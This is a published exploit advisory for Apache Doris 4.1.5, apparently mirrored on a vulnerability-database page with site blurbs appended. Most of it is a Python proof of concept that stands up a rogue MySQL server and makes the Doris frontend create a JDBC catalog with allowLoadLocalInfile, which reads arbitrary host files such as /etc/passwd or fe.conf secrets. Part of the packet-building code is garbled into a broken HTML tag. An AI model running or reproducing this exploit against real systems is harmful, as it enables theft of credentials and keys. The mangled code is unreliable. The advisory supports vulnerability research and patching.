Apache Doris 4.1.5 JDBC Catalog Arbitrary File Read
<html><body><p>#!/usr/bin/env python
#
#
# Apache Doris 4.1.5 JDBC Catalog Arbitrary File Read
#
#
# Vendor: The Apache Software Foundation
# Product web page: https://doris.apache.org
# Affected version: 4.1.5
#
# Summary: Apache Doris is a high-performance, real-time analytical database
# based on the MPP architecture. Known for being efficient, simple, and unified,
# it returns query results over massive datasets within sub-second latency,
# and a single system supports both high-concurrency point queries and high
# throughput complex analytics.
#
# Desc: Apache Doris (Frontend) suffers from an arbitrary local file read through
# its JDBC catalog feature, and exposes an unsafe-deserialization option to the
# same attack surface. Connection properties for a JDBC catalog are passed to the
# MySQL driver without a safe allow-list (handleJdbcUrl() forces only benign params),
# so a user who can define or point a catalog at an attacker-controlled MySQL endpoint
# can enable dangerous driver options that the FE's JDBC client will honor. With
# allowLoadLocalInfile=true, a rogue MySQL server can answer any query with a LOCAL
# INFILE request and read arbitrary files from the FE host (fe/conf/fe.conf secrets,
# keytab, id_rsa).
#
# Additionally, because autoDeserialize is not forced off, a malicious server can
# return a crafted blob that the driver deserializes. This can lead to remote code
# execution only if a suitable gadget is present on the Doris classpath.
#
# Tested on: MySQL Connector/J 8.0.33
# Doris FE 4.1.5
# JDK 17
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# @zeroscience
#
#
# Advisory ID: ZSL-2026-6023
# Advisory URL: https://www.zeroscience.mk/#/advisories/ZSL-2026-6023
#
#
# 13.08.2026
#
import subprocess
import threading#
import socket####
import struct####
import time######
import sys#######
FE_HOST, FE_PORT = "192.168.1.2", 9030
FE_USER, FE_PASS = "root", ""
ROGUE_HOST = "192.168.1.100"
ROGUE_PORT = 13306
TARGET_FILE = "/etc/passwd" # ../fe/conf/fe.conf)
DRIVER_URL = "mysql-connector-java-8.0.33.jar"
CATALOG = "zsl_evil"
_stolen = {"data": None}
def _pkt(seq, payload):
return struct.pack("<i _handshake="" _recv_pkt="" b="" break="" bytes="" caps="0x00000001" chunk="c.recv(ln" chunk:="" data='b""' def="" hdr="c.recv(4)" if="" len="" ln="hdr[0]" ln:="" none="" not="" p='b"\x0a"' payload="" return="" struct.pack="" while="">> 16) & 0xffff)
p += b"\x15" + b"\x00" * 10 + b"1234567890AB\x00" + b"mysql_native_password\x00"
return p
_OK = b"\x00\x00\x00\x02\x00\x00\x00"
def rogue_server():
srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(("0.0.0.0", ROGUE_PORT)); srv.listen(5)
print("[+] Rogue MySQL: 0.0.0.0:%d (LOCAL INFILE '%s')" % (ROGUE_PORT, TARGET_FILE))
while _stolen["data"] is None:
try:
c, addr = srv.accept()
except OSError:
break
print("[*] FE connected : %s" % (addr,))
try:
c.sendall(_pkt(0, _handshake()))
_recv_pkt(c)
c.sendall(_pkt(2, _OK))
while True:
data = _recv_pkt(c)
if not data:
break
if data[0] == 0x03:
c.sendall(_pkt(1, b"\xfb" + TARGET_FILE.encode()))
filedata = _recv_pkt(c) or b""
_stolen["data"] = filedata.decode("utf-8", "replace")
_recv_pkt(c); c.sendall(_pkt(3, _OK))
break
else:
c.sendall(_pkt(1, _OK))
except Exception:
pass
finally:
c.close()
srv.close()
def doris_sql():
url = ("jdbc:mysql://%s:%d/mysql?allowLoadLocalInfile=true&allowLoadLocalInfileInPath=/"
"&useSSL=false" % (ROGUE_HOST, ROGUE_PORT))
return ("DROP CATALOG IF EXISTS %s;"
"CREATE CATALOG %s PROPERTIES('type'='jdbc','user'='x','password'='x',"
"'jdbc_url'='%s','driver_url'='%s','driver_class'='com.mysql.cj.jdbc.Driver');"
"REFRESH CATALOG %s; SHOW DATABASES FROM %s;"
% (CATALOG, CATALOG, url, DRIVER_URL, CATALOG, CATALOG))
def trigger():
sql = doris_sql()
print("[*] Doris FE: %s:%d (user %s)\n[*] SQL:\n %s\n" % (FE_HOST, FE_PORT, FE_USER, sql))
cmd = ["mysql", "-h", FE_HOST, "-P", str(FE_PORT), "-u", FE_USER, "--connect-timeout=10", "-e", sql]
if FE_PASS:
cmd.insert(1, "-p" + FE_PASS)
try:
subprocess.run(cmd, timeout=40)
print("[+] SQL sent to Doris FE.")
except FileNotFoundError:
print("[-] `mysql` client not found")
except Exception as e:
print("[-] Could not reach Doris FE (%s)." % e)
if __name__ == "__main__":
print("Apache Doris FE <=4.1.5 JDBC Catalog Arbitrary File Read (ZSL-2026-6023)")
threading.Thread(target=rogue_server, daemon=True).start()
time.sleep(0.3)
trigger()
print("\n[*] Waiting for the FE JDBC client to hit the rogue server (Ctrl-C to stop) ...")
for _ in range(120):
if _stolen["data"] is not None:
print("=" * 68)
print("[+] STOLEN FROM THE DORIS FE HOST -> '%s':\n" % TARGET_FILE + _stolen["data"])
print("=" * 68)
break
time.sleep(1)
else:
print("[-] No file received.")
</i></p></body></html>Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
16 Oct 2026 00:00Current
6.4Medium risk
Vulners AI Score6.4